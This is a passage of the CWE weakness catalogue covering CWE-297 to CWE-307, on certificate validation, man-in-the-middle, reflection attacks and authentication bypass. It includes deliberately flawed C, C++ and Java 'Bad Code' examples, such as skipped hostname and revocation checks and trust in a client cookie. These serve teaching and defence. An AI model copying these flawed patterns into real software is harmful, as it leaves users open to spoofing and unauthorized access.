[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

## CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID: 297 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

#### Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Architectural Paradigms**

- Mobile Application

**Common Consequences****Access Control****Gain privileges / assume identity**

The data read from the system vouched for by the certificate may not be from the expected system.

**Authentication****Other****Other**

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing or redirection attacks.

**Likelihood of Exploit**

High

**Demonstrative Examples**

The following OpenSSL code obtains a certificate and verifies it.

**C/C++ Example:**

*Bad Code*

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)!=X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509\_V\_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

**Observed Examples**

Reference	Description
CVE-2003-0355	Web browser does not validate Common Name, allowing spoofing of https sites.
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
CVE-2009-3767	LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2009-4565	Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2010-2074	Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2012-0867	Database program truncates the Common Name during hostname verification, allowing spoofing.
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services.
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname.
CVE-2012-5780	Merchant SDK for payments does not verify the hostname.
CVE-2012-5782	PHP library for payments does not verify the hostname.
CVE-2012-5784	SOAP platform does not verify the hostname.
CVE-2012-5804	E-commerce module does not verify hostname when connecting to payment site.
CVE-2012-5806	Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.
CVE-2012-5807	Software for electronic checking does not verify hostname, leading to financial loss.
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss.
CVE-2012-5811	Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.

Reference	Description
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
CVE-2012-5819	Cloud storage management application does not validate hostname.
CVE-2012-5822	Application uses third-party library that does not validate hostname.
CVE-2012-5824	Chat application does not validate hostname, leading to loss of privacy.

### Potential Mitigations

#### Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	295	Improper Certificate Validation	699 1000	521
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349
ChildOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1372
PeerOf	B	370	Missing Check for Certificate Revocation after Initial Check	1000	649

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to validate host-specific certificate data

### References

Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25. < [http://www.cs.utexas.edu/~shmat/shmat\\_ccs12.pdf](http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf) >.

Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16. < <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf> >.

Kenneth Ballard. "Secure programming with the OpenSSL API, Part 2: Secure handshake". 2005-05-03. < <http://www.ibm.com/developerworks/library/l-openssl2/index.html> >.

Eric Rescorla. "An Introduction to OpenSSL Programming (Part I)". 2001-10-05. < <http://www.rtfm.com/openssl-examples/part1.pdf> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

## CWE-298: Improper Validation of Certificate Expiration

Weakness ID: 298 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

#### Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences



**Integrity****Other****Other**

The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.

**Authentication****Other****Other**

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing attacks.

**Likelihood of Exploit**

Low

**Demonstrative Examples**

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

**C/C++ Example:***Bad Code*

```
if (cert = SSL_get_peer(certificatessl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
}
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

**Potential Mitigations****Architecture and Design**

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	295	Improper Certificate Validation	<b>699</b> <b>1000</b>	521
ChildOf	<b>B</b>	672	Operation on a Resource after Expiration or Release	1000	1039
ChildOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf	<b>C</b>	948	SFP Secondary Cluster: Digital Certificate	<b>888</b>	1372
PeerOf	<b>B</b>	324	<i>Use of a Key Past its Expiration Date</i>	1000	569
PeerOf	<b>B</b>	370	<i>Missing Check for Certificate Revocation after Initial Check</i>	1000	649

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to validate certificate expiration

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

## CWE-299: Improper Check for Certificate Revocation

**Weakness ID:** 299 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

**Extended Description**



An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

Trust may be assigned to an entity who is not who it claims to be.

##### Integrity

##### Other

##### Other

Data from an untrusted (and possibly malicious) source may be integrated.

##### Confidentiality

##### Read application data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

The following OpenSSL code ensures that there is a certificate before continuing execution.

##### C/C++ Example:

*Bad Code*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
}
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

#### Observed Examples

Reference	Description
CVE-2006-4409	Product cannot access certificate revocation list when an HTTP proxy is being used.
CVE-2006-4410	Certificate revocation list not searched for certain certificates.
CVE-2008-4679	chain: web service component does not call the expected method, which prevents a check for revoked certificates.
CVE-2009-0161	chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate.
CVE-2009-0642	chain: language interpreter does not properly check the return value from an OCSP function, allowing bypass using a revoked certificate.
CVE-2009-1358	chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2010-5185	Antivirus product does not check whether certificates from signed executables have been revoked.
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
CVE-2011-0935	Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked.
CVE-2011-2014	LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate.
CVE-2011-2701	chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate.

## Potential Mitigations

### Architecture and Design

Ensure that certificates are checked for revoked status.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		295	Improper Certificate Validation		699 1000
ChildOf		404	Improper Resource Shutdown or Release		1000 699
ChildOf		948	SFP Secondary Cluster: Digital Certificate		888 1372
ParentOf		370	Missing Check for Certificate Revocation after Initial Check		699 1000
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to check for certificate revocation

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.

## CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Weakness ID: 300 (Weakness Class)

Status: Draft

### Description

#### Summary

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

#### Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Access Control

##### Read application data

##### Modify application data

##### Gain privileges / assume identity

An attacker could pose as one of the entities and read or possibly modify the communication.

#### Demonstrative Examples

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

**Java Example:**

Bad Code

```

Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}

```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

**Observed Examples**

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

**Potential Mitigations****Implementation**

Always fully authenticate both ends of any communications channel.

**Architecture and Design**

Adhere to the principle of complete mediation.

**Implementation**

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	<b>844</b>	1297
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	<b>699</b> <b>1000</b>	1349
ChildOf		956	SFP Secondary Cluster: Channel Attack	<b>888</b>	1374
PeerOf		602	<i>Client-Side Enforcement of Server-Side Security</i>	1000	947
PeerOf		603	<i>Use of Client-Side Authentication</i>	1000	950
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Man-in-the-middle (MITM)
WASC	32	Routing Detour
CERT Java Secure Coding	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
94	Man in the Middle Attack	
466	Leveraging Active Man in the Middle Attacks to Bypass Same Origin Policy	

**References**

M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.

**Maintenance Notes**

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

## CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

#### Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

#### Languages

- All

#### Common Consequences

#### Access Control

#### Gain privileges / assume identity

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples

##### C/C++ Example:

*Bad Code*

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx,buf,len);
    EVP_DigestFinal(&ctx,ret,olen);
    return ret;
}

unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1",password,strlen(password_and_cmd)
    ...
    );
}
```

##### Java Example:

*Bad Code*

```
String command = new String("some cmd to execute & the password")
MessageDigest encer =
MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
```

#### Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.

## Potential Mitigations

### Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

### Architecture and Design

Let the initiator prove its identity before proceeding.

## Other Notes

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

## Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		287	Improper Authentication	<b>699</b> <b>1000</b>	507
PeerOf		327	Use of a Broken or Risky Cryptographic Algorithm	1000	573
ChildOf		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	<b>629</b>	1114
ChildOf		956	SFP Secondary Cluster: Channel Attack	<b>888</b>	1374
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reflection attack in an auth protocol
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
90	Reflection Attack in Authentication Protocol	

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient Validation", Page 38.. 1st Edition. Addison Wesley. 2006.

## Maintenance Notes

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

# CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

### Bypass protection mechanism

## Demonstrative Examples

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

### Java Example:

*Bad Code*

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

## Observed Examples

Reference	Description
CVE-2002-0367	DebPloit
CVE-2002-1730	Authentication bypass by setting certain cookies to "true".
CVE-2002-1734	Authentication bypass by setting certain cookies to "true".
CVE-2002-2054	Gain privileges by setting cookie.
CVE-2002-2064	Admin access by setting a cookie.
CVE-2004-0261	Web auth
CVE-2004-1611	Product trusts authentication information in cookie.
CVE-2005-1708	Authentication bypass by setting admin-testing variable to true.
CVE-2005-1787	Bypass auth and gain privileges by setting a variable.

## Potential Mitigations

### Architecture and Design

### Operation

### Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

## Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		592	Authentication Bypass Issues	<b>699</b>	933
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1000	1239
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	<b>844</b>	1297
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>888</b>	1372

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT Java Secure Coding	SEC02-J		Do not base security checks on untrusted sources

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
10	Buffer Overflow via Environment Variables	
13	Subverting Environment Variable Values	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	
45	Buffer Overflow via Symbolic Links	
77	Manipulating User-Controlled Variables	
274	HTTP Verb Tampering	

## CWE-303: Incorrect Implementation of Authentication Algorithm

Weakness ID: 303 (Weakness Base)

Status: Draft

### Description

#### Summary

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

#### Extended Description

This incorrect implementation may allow authentication to be bypassed.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2003-0750	Conditional should have been an 'or' not an 'and'.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		287	Improper Authentication	699 1000	507
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	888	1371

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication Logic Error

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
90	Reflection Attack in Authentication Protocol	

## CWE-304: Missing Critical Step in Authentication

Weakness ID: 304 (Weakness Base)

Status: Draft

### Description

#### Summary

The software implements an authentication technique, but it skips a step that weakens the technique.

#### Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

#### Time of Introduction

- Architecture and Design



- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Integrity

##### Confidentiality

##### Bypass protection mechanism

##### Gain privileges / assume identity

##### Read application data

##### Execute unauthorized code or commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.

#### Observed Examples

Reference	Description
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		287	Improper Authentication	699	507
ChildOf		573	Improper Following of Specification by Caller	1000	910
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	888	1371
MemberOf		884	CWE Cross-section	884	1319

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Critical Step in Authentication

## CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305 (Weakness Base)

Status: Draft

#### Description

##### Summary

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control



##### Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2000-0979	The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.

Reference	Description
CVE-2001-0088	Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.
CVE-2002-1374	The provided password is only compared against the first character of the real password.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		592	Authentication Bypass Issues	<input checked="" type="checkbox"/>	699 1000
ChildOf		947	SFP Secondary Cluster: Authentication Bypass		888 1371

### Relationship Notes

Most "authentication bypass" errors are resultant, not primary.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication Bypass by Primary Weakness

## CWE-306: Missing Authentication for Critical Function

Weakness ID: 306 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Other

#### Gain privileges / assume identity

#### Other

Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.

### Likelihood of Exploit

Medium to High

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Automated Static Analysis****Limited**

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples**

In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

**Java Example:**

Bad Code

```
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

**Java Example:**

Good Code

```
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

**Observed Examples**

Reference	Description
CVE-2002-1810	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
CVE-2004-0213	Product enforces restrictions through a GUI but not through privileged APIs.
CVE-2008-6827	Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.

**Potential Mitigations****Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Architecture and Design**

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.






In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [R.306.3].

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		287	Improper Authentication	<b>699</b>	507
ChildOf		803	2010 Top 25 - Porous Defenses	<b>1000</b>	1229
ChildOf		812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	<b>809</b>	1246
ChildOf		866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ChildOf		952	SFP Secondary Cluster: Missing Authentication	<b>888</b>	1373
MemberOf	<input checked="" type="checkbox"/>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Relationship Notes**

This is separate from "bypass" issues in which authentication exists, but is faulty.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		No Authentication for Critical Function
Software Fault Patterns	SFP31	Missing authentication

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
12	Choosing a Message/Channel Identifier on a Public/Multicast Channel	
36	Using Unpublished Web Service APIs	
40	Manipulating Writeable Terminal Devices	
62	Cross Site Request Forgery (aka Session Riding)	
225	Exploitation of Authentication	

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authentication," Page 36. 1st Edition. Addison Wesley. 2006.

Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". SANS Software Security Institute. 2010-02-23. < <http://blogs.sans.org/appsecstreetfighter/2010/02/23/top-25-series-rank-19-missing-authentication-for-critical-function/> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

# CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID: 307 (Weakness Base)

Status: Draft

## Description

### Summary

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Bypass protection mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.

### Detection Methods

#### Dynamic Analysis with automated results interpretation

